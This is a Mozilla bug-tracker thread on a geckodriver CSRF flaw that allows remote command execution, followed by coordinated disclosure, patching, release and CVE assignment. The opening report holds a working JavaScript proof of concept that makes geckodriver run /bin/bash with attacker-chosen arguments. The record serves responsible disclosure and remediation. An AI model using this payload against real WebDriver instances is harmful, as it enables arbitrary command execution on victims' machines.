geckodriver is vulnerable to Cross-Site Request Forgery.
While no WebDriver session is running, this can be used to
execute arbitrary system commands (remote command execution)
as demonstrated by this exploit:

fetch("http://localhost:4444/session", {
    method: "POST",
    mode: 'no-cors',
    headers: {
        'Content-Type': 'text/plain'
        },
    body: JSON.stringify({
        "capabilities": {
        "alwaysMatch": {
            "moz:firefoxOptions": {
                "binary": "/bin/bash",
                "args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
            }
        }
        }
    }),
});

This vulnerability has been tested on:

• Mozilla Firefox 79.0a1
• geckodriver 0.26.0 (e9783a644016 2019-10-10 13:38 +0000)
• Debian testing

Cross-Site Request Forgery

By default, geckodriver listens on http://localhost:4444.
This prevents other machines from directly attacking the geckodriver
instance. However geckodriver is vulnerable to Cross-Site Request
Forgery attacks as demonstrated by:

fetch("http://localhost:4444/session", {
    method: "POST",
    mode: 'no-cors',
    headers: {
        'Content-Type': 'text/plain'
        },
    body: JSON.stringify({
        "capabilities": {
            "alwaysMatch": {}
        }
    };
});

When executed by the user's browser from another origin, this code
spawns a new Firefox instance.
This must happen while no WebDriver session is running in geckodriver
as geckodriver rejects the creation of a second session.

The scope of this attack might seem limited because the attacker cannot
easily interact with the created session. Acting on the session through CSRF
is possible if the session ID is known but it is not easily possible for the
attacker to find the session ID:

• it cannot get the session ID from the geckodriver response;

• it is very difficult to guess the session ID as it is a UUIDv4.

Remote Code Execution

It is however possible for the attacker to execute arbitrary commands
with the session creation request.

Of particular interest are the following properties of moz:firefoxOptions [1]:

• binary lets the attacker specify the path of the Firefox binary to execute;

• args lets the attacker specify a list of arguments to pass to this command;

• profile lets the attacker specify a profile directory (which could be used
  to load interesting extensions in the browser);

• prefs lets the attacker set Firefox preferences;

• env lets the attacker set environment variables.

The actual command executed by geckodriver to create a browser is:

"$binary" -marionette "$args[@]" -foreground -no-remote -profile "$profile"

In order to execute arbitrary command we need to find a program which accepts
an initial -marionette argument and execute commands taken from $args
or from environment variables.

bash can used to execute arbitrary system commands
as demonstrated by the following exploit
which executes the xterm -e nyancat system command:

fetch("http://localhost:4444/session", {
    method: "POST",
    mode: 'no-cors',
    headers: {
        'Content-Type': 'text/plain'
        },
    body: JSON.stringify({
        "capabilities": {
        "alwaysMatch": {
            "moz:firefoxOptions": {
                "binary": "/bin/bash",
                "args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
            }
        }
        }
    }),
});

The command executed by geckodriver is:

bash -marionnette posix +n -c 'bash -c "$1"' bash "xterm -e nyancat" \
  -foreground -no-remote -profile "$profile"

The initial -marionette argument is interpreted as a serie of flags.
The only problematic ones are:

• The -r flag asks for a restricted shell. This might be problematic
  because it adds a number of restriction to the commands allowed.
  It is however easy to escape from this restricted shell by calling a new
  shell instance as is done in this example.

• The -n flag asks to only parse the commands instead of executing them.
  This could be problematic but we can actually reverse it with +n.

• The -o flags expects an option in the following argument.
  In this example, we set the posix option.

Mitigations

Content-Type Validation

CSRF is possible because geckodriver accepts requests
with any Content-Type. Another origin can make POST
requests to geckodriver using the following content-types:
application/x-www-form-urlencoded,
multipart/form-data, text/plain.

geckodriver could fix this vulnerability by rejecting these
content-types. geckodriver could even reject all requests
which do not have a JSON content-type. This seems to be a
violation of the WebDriver specification which does not
mandate a JSON content-type for WebDriver POST requests.

It looks like this is a defect of the WebDriver specification
which encourages CSRF attacks on WebDriver servers
(a similar issue has been reported on another implementation).
The specification should explicitely allow a server-side
implementation of the WebDriver to reject dangerous
content-types and should require the client-side to
use a JSON content-type. Additionnaly, the security
section of the WebDriver specification should probably
mention the risks of CSRF attacks.

HTTP-level Authentication

An new command-line flag could be added to gekodriver in
order to require some form of HTTP authentication.
When enabled, this would prevent CSRF attacks as well as
attacks from other users on the same host.

PF_LOCAL Socket

geckodriver could receive a new option to listen on a PF_LOCAL
socket. These sockets are normally not accessible by CSRF.
This could additionnaly be used to prevent other users
on the same machine from talking to the geckodriver instance.

References

[1] https://developer.mozilla.org/en-US/docs/Web/WebDriver/Capabilities/firefoxOptions#firefoxOptions

[2] https://fetch.spec.whatwg.org/

[3] https://www.w3.org/TR/webdriver2/

Confirmed.

Fix is in progress.

These are the ones that browsers can produce for POST without preflight

This only allows through either the ip address of the WebDriver instance or localhost.
Probably most clients don't set this at all, so it might be safe to block any value
other than null. But this allows a small number of plausible values that might be
set just to reduce the risk of breaking legitimate clients

Note: it would be nice to wait some time to let other WebDriver implementations fix the issue before disclosing the details.

For reference chromiumdriver already has a protection in place which checks that domain part of any host and origin header is localhost (localhost, 127.0.0.1, etc.). The request is accepted from localhost-based origins only.

(In reply to Gabriel Corona from comment #9)

Note: it would be nice to wait some time to let other WebDriver implementations fix the issue before disclosing the details.

Thank you for highlighting that. We're interested in a solution that does not put users of other products at risk.

Can you provide us with a date? If not, how many other webdriver implementations are affected?

If you do not have experience with coordinating timed & joint releases, we can try to help. Otherwise, you could reach out to CERT CC (https://en.wikipedia.org/wiki/CERT_Coordination_Center) or in your case CERT-FR (https://www.cert.ssi.gouv.fr/contact-us/)

@Frederick: My report about chromedriver is being rejected thanks to the already existing mitigation mentioned in my previous comment so ther's probably no need for them and chromedriver-derivated implementation. I'm in the process of contacting another implementation which is vulnerable. Other implementations still need to be checked.

I do not have experience with coordinated time and joint joint release so any help is welcome.

(In reply to Gabriel Corona from comment #10)

For reference chromiumdriver already has a protection in place which checks that domain part of any host and origin header is localhost (localhost, 127.0.0.1, etc.). The request is accepted from localhost-based origins only.

Just as reference, this has been fixed in Chromedriver already in March via https://bugs.chromium.org/p/chromium/issues/detail?id=1045787.

ZAP seems to be affected and it seems useful to fix the issue (or highlight the risk) in the webdriver spec (eventually).
David (AutomatedTester), the spec co-editor and Simon Bennetts (the ZAP maintainer) are both ex Mozillian and have requested I add them to the bug. Having worked with both in the past, I trust them to act in good faith. They are now CC'd on this issue.

(In reply to Gabriel Corona from comment #12)

I do not have experience with coordinated time and joint joint release so any help is welcome.

Coordination will be easy if it's just ZAP. Simon is known here :-)
If not, Please let us know via security@mozilla.org in case any other project besides ZAP is affected, we'll figure out next steps via email then.

OK, so there are now patches up for review and I've addressed the first round of review comments.

What's the procedure once the patches are ready to land? whimboo knows the steps for doing a geckodriver release; I think if we follow up with a patch to bump the version number we can release as soon as that patch reaches central?

Do we need to wait for co-ordination with other projects? Are there other considerations we should be aware of?

(I'm reading the approval process bit now)

Theres no need to wait for co-ordination with ZAP. We package geckodriver - as soon as we know a new version is available we'll update our wrapper to use it.

It seems like sec-approval? is disabled for bugs in this product or something. We should fix that. But in the meantime, I was told to needinfo tjr and I've filled in the template from the docs below.

Actually releasing here also depends on making some other patches to bump the version number and do various admin parts that are required to release geckodriver. I don't propose landing anything here until those are ready to go; aiui we can release once those patches reach mozilla-central

[Security approval request comment]

How easily can the security issue be deduced from the patch?

Pretty easy. It's clear that there's origin checks being added and CSRF is common enough that I'd expect anyone looking through patches to figure out the kind of issue involved here.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

There's a comment that we're specifically blocking Content-Type headers that don't require a CORS preflight.

Which older supported branches are affected by this flaw?
If not all supported branches, which bug introduced the flaw?
Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

GeckoDriver only has a single release branch and we don't explicitly support any release other than the latest.

How likely is this patch to cause regressions; how much testing does it need?

There are certain deployment scenarios which could stop working (e.g. if people are using some local browser-based UI to generate WebDriver commands), but the changes are only affecting the session creation flow. If that keeps working it's likely the other parts will too; we ran the relevant wdspec tests locally and I verified that one of the major WebDriver clients still works.

Following the coordination email I sent out, EdgeDriver, IEDriver and SafariDriver believe they are not exploitable, as does Selenium Grid (confirmed with AutomatedTester outside that email thread). Therefore I think it's OK to go ahead with releasing the fix on our own timescale without accidentially zero-daying others.

The patches for the bug are in place, and we also have the additional patches needed to make a release ready to go, so aiui we are just waiting for the sec-approval at this point. One point that has come up already is that we likely want to uplift the patches in case anyone happens to use custom geckodriver builds, especially as we aren't providing ARM binaries.

If the Selenium project needs to send out any comms can you let me know and I will coordinate that with the SFC and Selenium leadership

I have worked with Gabriel and have managed to get the example working on the Selenium Server.

Can we hold off disclosing until next week please

(In reply to David Burns :automatedtester from comment #24)

Can we hold off disclosing until next week please

Yup, can you let us know when you would be prepared for us to release?

The Selenium Project is happy for you to release ahead of us. We feel it is important for you to secure users.

The scenario where the Selenium Server can be attacked is normally done with images that only live for a short amount of time (Docker/K8s) so we feel the risk is low to our general users.

Approved to land in -central, and uplift to the esrs and beta.

It seems there might be an affected product that might need us to hold off from releasing. James, it seems you reached out to them again. I'll ping you out-of-band.

Please note that we release geckodriver only from mozilla-central. So there is no need for uplifts to beta, release, and esr.

The concern about beta, release and esr is people doing custom builds.

Sure, but the custom builds are all based on a specific revision on mozilla-central. That's what we proposed for the last releases compared to just fetching the code from Github. Starting with the 0.27.0 release we will push the code to GitHub again, so that custom builds can more easily be done without having to clone mozilla-central.

The claim is that people should be doing custom builds based on the GitHub export and not based on mozilla-*, and even if they are they should be using a specific rev rather than the tip of esr, etc.?

I don't know what people actually are doing, but if the origin-checking patch applies cleanly it makes sense to me to uplift it just in case people are doing something unexpected.

As discussed in D81533, I think the current implementation of content-type checking is not correct as it allows uppercase variants of the Content-Type types (TEXT/PLAIN) as well as values with parameters (`text/plain; charset=utf-8). See https://fetch.spec.whatwg.org/#cors-safelisted-request-header

Do we have an update from Apple? If not how long are we prepared to wait here? It would be great to have a definite plan on when we can release.

Didn't mean to cancel the needinfo. I'll escalate though.

Apple folks are now aware (apparently they already had an internal issue for this).

This has missed the RC for Fx79. It's not clear to me how important this even is for backporting given the discussion in the bug, but it seems like it doesn't need to be tied to Firefox' release cycle regardless.

To answer the question above from :jgraham - I've conferred with Apple and we do NOT need to wait for them. However, they would like a few days' notice before we release so that they are ready for any communications that might result.

If Apple want a couple of days notice, I propose we aim for Monday. freddy: Does that make sense?

(In reply to James Graham [:jgraham] from comment #39)

If Apple want a couple of days notice, I propose we aim for Monday. freddy: Does that make sense?

Sorry, I had been on PTO. Please go ahead!

FWIW, it seems we are not going to make it to version 79, removing advisory flags.

So this landed and got backed out for browsertime failures https://treeherder.mozilla.org/#/jobs?repo=autoland&resultStatus=pending%2Crunning%2Csuccess%2Ctestfailed%2Cbusted%2Crunnable&searchStr=android&revision=3923416a7d529be13dc871668bad2ada5afcc68c Unfortunately the logs look rather useless.

I'm trying to reproduce locally, but I've never run these tests and it seems somewhat non-trivial. Henrik is the expert here but is on PTO. Maybe nalexander can make this work locally to help figure out what's going on?

Looks like this is caused by the "Always check for Firefox when creating WebDriver session" patch.

Yeah, so I guess browsertime is sending a binary on android, even though that doesn't do anything?

Anyway I have an update to remove that check for a valid binary if we get a mozFirefoxOptions with both binary and androidPackage, but I'm not 100% sure it works. I suggest that we try to verify that and if we can make it work we land that, and if we can't we reland the stack without that patch which is not in the end essential to the fix, but a little extra mitigation.

(In reply to James Graham [:jgraham] from comment #43)

Yeah, so I guess browsertime is sending a binary on android, even though that doesn't do anything?

This doesn't surprise me: browsertime uses selenium-webdriver, but anything Android was added well after the initial implementation. If we need to we can probably get a fix into browsertime. NI toTarek, who is still involved with browsertime.

Anyway I have an update to remove that check for a valid binary if we get a mozFirefoxOptions with both binary and androidPackage, but I'm not 100% sure it works. I suggest that we try to verify that and if we can make it work we land that, and if we can't we reland the stack without that patch which is not in the end essential to the fix, but a little extra mitigation.

I don't have strong opinions on what to do if both binary and androidPackage are given. I think we use androidPackage as the "I'm doing Android stuff" flag, so ignoring it makes the most sense to me.

https://hg.mozilla.org/integration/autoland/rev/2295f37753ec5216f61d897dc034fb02b6821976
https://hg.mozilla.org/integration/autoland/rev/03e25bb5f5bd460c114f980f08a827821f839291
https://hg.mozilla.org/integration/autoland/rev/9568347f186b5b3e999cf4784fe7d10b37294678
https://hg.mozilla.org/integration/autoland/rev/7bb770449d59854e8bcf6073ff11f84fd8ef48a9
https://hg.mozilla.org/integration/autoland/rev/90ec81285ff6287cb2824b29ddebb7818cc7b96b
https://hg.mozilla.org/mozilla-central/rev/2295f37753ec
https://hg.mozilla.org/mozilla-central/rev/03e25bb5f5bd
https://hg.mozilla.org/mozilla-central/rev/9568347f186b
https://hg.mozilla.org/mozilla-central/rev/7bb770449d59
https://hg.mozilla.org/mozilla-central/rev/90ec81285ff6

The sixth changeset landed but got backed out:

Add tests for session creation, r=freddyb,webdriver-reviewers,whimboo,maja_zf
https://hg.mozilla.org/integration/autoland/rev/6e89ab9da437f7c7fb021b05742b25928515c1a9

Backout for WebDriver Failures in new_session_binary.py
https://hg.mozilla.org/integration/autoland/rev/78e93763266357a1c3fcb511204161da11418ec7

Log: https://treeherder.mozilla.org/logviewer.html#?job_id=311310390&repo=autoland

[task 2020-07-28T20:16:58.180Z] 20:16:58 INFO - STDOUT: capabilities["moz:firefoxOptions"]["binary"] = path
[task 2020-07-28T20:16:58.180Z] 20:16:58 INFO - STDOUT: response, _ = new_session({"capabilities": capabilities})
[task 2020-07-28T20:16:58.180Z] 20:16:58 INFO - STDOUT: > assert_success(response)
[task 2020-07-28T20:16:58.180Z] 20:16:58 INFO - STDOUT: _ = None
[task 2020-07-28T20:16:58.181Z] 20:16:58 INFO - STDOUT: capabilities = {'moz:firefoxOptions': {'binary': '/Users/cltbld/tasks/task_1595965586/build/firefox.sh', 'prefs': {'media.peerconnect...m.test,xn--lve-6lad.www2.not-web-platform.test', 'network.process.enabled': False, 'toolkit.asyncshutdown.log': True}}}
[task 2020-07-28T20:16:58.181Z] 20:16:58 INFO - STDOUT: configuration = {'capabilities': {'moz:firefoxOptions': {'binary': '/Users/cltbld/tasks/task_1595965586/build/firefox.sh', 'prefs': {'...form.test', 'network.process.enabled': False, 'toolkit.asyncshutdown.log': True}}}, 'host': '127.0.0.1', 'port': 51153}
[task 2020-07-28T20:16:58.181Z] 20:16:58 INFO - STDOUT: f = <closed file 'firefox.sh', mode 'w' at 0x110c03ed0>
[task 2020-07-28T20:16:58.181Z] 20:16:58 INFO - STDOUT: new_session = <function new_session at 0x1105528c0>
[task 2020-07-28T20:16:58.181Z] 20:16:58 INFO - STDOUT: path = '/Users/cltbld/tasks/task_1595965586/build/firefox.sh'
[task 2020-07-28T20:16:58.181Z] 20:16:58 INFO - STDOUT: response = <Response status=500 error=<SessionNotCreatedException http_status=500>>
[task 2020-07-28T20:16:58.181Z] 20:16:58 INFO - STDOUT: script = '#!/bin/bash
[task 2020-07-28T20:16:58.181Z] 20:16:58 INFO -
[task 2020-07-28T20:16:58.181Z] 20:16:58 INFO - /Users/cltbld/tasks/task_1595965586/build/application/Firefox NightlyDebug.app/Contents/MacOS/firefox $@'
[task 2020-07-28T20:16:58.182Z] 20:16:58 INFO - STDOUT: tests/web-platform/mozilla/tests/webdriver/new_session_binary.py
[task 2020-07-28T20:16:58.182Z] 20:16:58 INFO - STDOUT: :30:
[task 2020-07-28T20:16:58.182Z] 20:16:58 INFO - STDOUT: _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
[task 2020-07-28T20:16:58.182Z] 20:16:58 INFO - STDOUT: response = <Response status=500 error=<SessionNotCreatedException http_status=500>>
[task 2020-07-28T20:16:58.182Z] 20:16:58 INFO - STDOUT: value = None
[task 2020-07-28T20:16:58.182Z] 20:16:58 INFO - STDOUT: def assert_success(response, value=None):
[task 2020-07-28T20:16:58.182Z] 20:16:58 INFO - STDOUT: """
[task 2020-07-28T20:16:58.182Z] 20:16:58 INFO - STDOUT: Verify that the provided webdriver.Response instance described
[task 2020-07-28T20:16:58.182Z] 20:16:58 INFO - STDOUT: a valid success response as defined by dfn-send-a-response and
[task 2020-07-28T20:16:58.183Z] 20:16:58 INFO - STDOUT: the provided response value.
[task 2020-07-28T20:16:58.183Z] 20:16:58 INFO - STDOUT:
[task 2020-07-28T20:16:58.183Z] 20:16:58 INFO - STDOUT: :param response: webdriver.Response instance.
[task 2020-07-28T20:16:58.183Z] 20:16:58 INFO - STDOUT: :param value: Expected value of the response body, if any.
[task 2020-07-28T20:16:58.183Z] 20:16:58 INFO - STDOUT: """
[task 2020-07-28T20:16:58.183Z] 20:16:58 INFO - STDOUT: > assert response.status == 200, str(response.error)
[task 2020-07-28T20:16:58.183Z] 20:16:58 INFO - STDOUT: E AssertionError: session not created (500): Expected browser binary location, but unable to find binary in default location, no 'moz:firefoxOptions.binary' capability provided, and no binary flag set on the command line
[task 2020-07-28T20:16:58.184Z] 20:16:58 INFO - STDOUT: E
[task 2020-07-28T20:16:58.184Z] 20:16:58 INFO - STDOUT: E assert 500 == 200
[task 2020-07-28T20:16:58.184Z] 20:16:58 INFO - STDOUT: E + where 500 = <Response status=500 error=<SessionNotCreatedException http_status=500>>.status
[task 2020-07-28T20:16:58.184Z] 20:16:58 INFO - STDOUT: response = <Response status=500 error=<SessionNotCreatedException http_status=500>>
[task 2020-07-28T20:16:58.184Z] 20:16:58 INFO - STDOUT: value = None
[task 2020-07-28T20:16:58.185Z] 20:16:58 INFO - STDOUT: tests/web-platform/tests/webdriver/tests/support/asserts.py
[task 2020-07-28T20:16:58.185Z] 20:16:58 INFO - STDOUT: :69: AssertionError
[task 2020-07-28T20:16:58.185Z] 20:16:58 INFO - STDOUT: =============================== warnings summary ===============================
[task 2020-07-28T20:16:58.185Z] 20:16:58 INFO - STDOUT: <undetermined location>
[task 2020-07-28T20:16:58.185Z] 20:16:58 INFO - STDOUT: Module already imported so cannot be rewritten: mozlog
[task 2020-07-28T20:16:58.186Z] 20:16:58 INFO - STDOUT: Module already imported so cannot be rewritten: tests.support.fixtures
[task 2020-07-28T20:16:58.186Z] 20:16:58 INFO - STDOUT: -- Docs: http://doc.pytest.org/en/latest/warnings.html
[task 2020-07-28T20:16:58.186Z] 20:16:58 INFO - STDOUT: ================ 1 failed, 1 passed, 2 warnings in 0.12 seconds ================
[task 2020-07-28T20:16:58.330Z] 20:16:58 INFO -
[task 2020-07-28T20:16:58.330Z] 20:16:58 INFO - TEST-PASS | /_mozilla/webdriver/new_session_binary.py | test_bad_binary
[task 2020-07-28T20:16:58.330Z] 20:16:58 INFO - TEST-UNEXPECTED-FAIL | /_mozilla/webdriver/new_session_binary.py | test_shell_script_binary - AssertionError: session not created (500): Expected browser binary location, but unable to find binary in default location, no 'moz:firefoxOptions.binary' capability provided, and no binary flag set on the command line

nalexander: You seem to be the owner of mozdevice on crates.io Can you cargo publish it from central and add me (jgraham) as an owner (also Maja who will be mjzffr, but doesn't seem to have logged in to crates.io before)

Yeah, those tests should really have landed; there was a communication error. The failure they got backed out for is a test that tries to create a shell script pointing to the Firefox binary; it apparently doesn't work on mac which isn't too surprising. We can make it Linux-only before relanding the tests later.

I've pushed a geckodriver release with the fixes https://github.com/mozilla/geckodriver/releases/tag/v0.27.0

(In reply to James Graham [:jgraham] from comment #47)

nalexander: You seem to be the owner of mozdevice on crates.io Can you cargo publish it from central and add me (jgraham) as an owner (also Maja who will be mjzffr, but doesn't seem to have logged in to crates.io before)

Not sure how this came to be; I've certainly never intentionally published anything to crates.io. Perhaps it's just the metadata in the crate? Yes, the authors are listed from the metadata, but the "owner" appears to be ToToL (see also github/ToToL).

I have no idea who this person is :(

Perhaps we need to reach out to ToToL? Or to the crates.io folks to try to assert control of the namespace? I have no idea what the policy is here...

OK, so I guess we didn't push mozdevice to crates.io and someone else has done it for us, so ended up owning the package (also marionette). This seems bad.

Let's move the crates takeover issue to bug 1656157.

FYI we have published new versions of the ZAP webdriver add-ons which include the latest geckodriver.
We've advised people to update (https://twitter.com/zaproxy/status/1288427099372625920) but were not planning on putting out any specific warnings at this stage.

Do we need to uplift these fixes to the various release branches?

I think that's probably a good idea, even if it's not strictly necessary. For beta I have a local branch with all the changes, for ESR I have a local branch with just the additional header checks. How does one go about doing uplifts these days?

Assuming the patches differ enough that grafting the already-landed changes isn't sufficient, upload them here and request approval on the appropriate branch. Also, can we wontfix ESR68?

I think grafting the already landed changes will probably work actually. I agree we can wontfix ESR 68.

Comment on attachment 9160070 [details]
Bug 1648964 - Always check for Firefox when creating WebDriver session,

Beta/Release Uplift Approval Request

• User impact if declined: Users building own geckodriver from release will be open to RCE issue
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: No
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Not part of shipped Firefox. Only affects users who build geckodriver from source.
• String changes made/needed:

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined: Users building own geckodriver from ESR will be open to RCE issue
• Fix Landed on Version: 81
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Not part of shipped Firefox. Only affects users who build geckodriver from source.
• String or UUID changes made by this patch:

GeckoDriver is technically out of scope for our bug bounty program, but we do appreciate this report that keeps the GeckoDriver community safe from this rather severe bug so we are awarding a bounty more in line with our non-core web properties.

Comment on attachment 9160070 [details]
Bug 1648964 - Always check for Firefox when creating WebDriver session,

approved for 80.0b5 and 78.2esr

Comment on attachment 9160375 [details]
Bug 1648964 - Add tests for session creation,

Woops, not this last one, which AIUI isn't on trunk yet.

https://hg.mozilla.org/releases/mozilla-beta/rev/16d42dc5b049
https://hg.mozilla.org/releases/mozilla-beta/rev/64292ae93c1d
https://hg.mozilla.org/releases/mozilla-beta/rev/455b7b6da1e0
https://hg.mozilla.org/releases/mozilla-beta/rev/caf55531577d
https://hg.mozilla.org/releases/mozilla-beta/rev/ece6bf41dded

https://hg.mozilla.org/releases/mozilla-esr78/rev/cf657f2ec149
https://hg.mozilla.org/releases/mozilla-esr78/rev/13f10d164293
https://hg.mozilla.org/releases/mozilla-esr78/rev/84ee84247830
https://hg.mozilla.org/releases/mozilla-esr78/rev/17aa7639d66a
https://hg.mozilla.org/releases/mozilla-esr78/rev/34006a2e1479

Freddy, is there a guideline in when we can publicly announce the security fixes for the 0.27 geckodriver release?

Security announcements for Firefox browsers are usually made immediately with the release, albeit with limited detail (https://www.mozilla.org/en-US/security/advisories/ has examples)

We usually wait about ~8 weeks for until a bug is unhidden. Does that answer your question?

Thanks. James, would you mind updating the change.log for geckodriver 0.27 and adding the entry for this bug?

I updated the changelog on the release page; let me know what you think and we can port the change to the file as well.

I wonder if we should specifically outline those changes as security fixes or not. Freddy what would be your take? See the first three bullet points under Fixed:

https://github.com/mozilla/geckodriver/releases/tag/v0.27.0

(In reply to Henrik Skupin (:whimboo) [⌚️UTC+2] from comment #68)

I wonder if we should specifically outline those changes as security fixes or not. Freddy what would be your take? See the first three bullet points under Fixed:

Yes, I think it'd be in the best interest of us and our users to not sweep them under the carpet. :)

OK, I've moved them up to an explicit "Security Fixes" section at the top of the release notes: https://github.com/mozilla/geckodriver/releases/tag/v0.27.0

Is a CVE number being allocated for this?

Garbiel: Coming.
Dan: I was just going to assign a CVE from the pool. But what's the process for making them show up in our feed for non-Firefox bugs?

We just have to report the publication details to MITRE individually for CVEs that aren't in our normal MFSA yaml files.

Given that we have a CVE now shall we go ahead with adding details to the 0.27.0 release notes? Or are we still waiting for something else?

Yes, please add.

James, setting needinfo for you again so that you can update the release notes on github appropriately. Thanks.

Thanks James. Shall we add a link to the CVE? Also by searching for it, I don't see public information yet:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-15660

Frederic, who is in charge to actually inform those pages?

It's an automated process for Firefox, but this will need manual submission to MITRE. It's going to take a bit though.

Thanks for that information! James, I think you can go ahead and have this documentation update landed on central.

The release notes have been updated via bug 1668311. So we are done here.

For some reason, CVE-2020-15660 is still not considered as published.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15660
https://nvd.nist.gov/vuln/detail/CVE-2020-15660

(In reply to Gabriel Corona from comment #81)

For some reason, CVE-2020-15660 is still not considered as published.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15660
https://nvd.nist.gov/vuln/detail/CVE-2020-15660

Freddy, has the manual submission to MITRE been done? Or do you know what the status of it is? Thanks.

We've just been made aware of an issue in our submission flow by MITRE last night. We'll take a look, but AFAIU there is no bug filed that I can mention here.

Frederik, any news?

Gabriel, I am sorry. I somehow dropped the ball on this one.
I totally understand that public credit helps you a great deal and want to apologize that I didn't get back to you earlier.

I'll try and see if I can set things in motion asap.

(In reply to Gabriel Corona from comment #81)

For some reason, CVE-2020-15660 is still not considered as published.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15660
https://nvd.nist.gov/vuln/detail/CVE-2020-15660

FYI, this entry has now been synced and is publicly available. Sorry that it has been taken such a long time.

https://hg.mozilla.org/mozilla-central/rev/f22b7ab3e3c4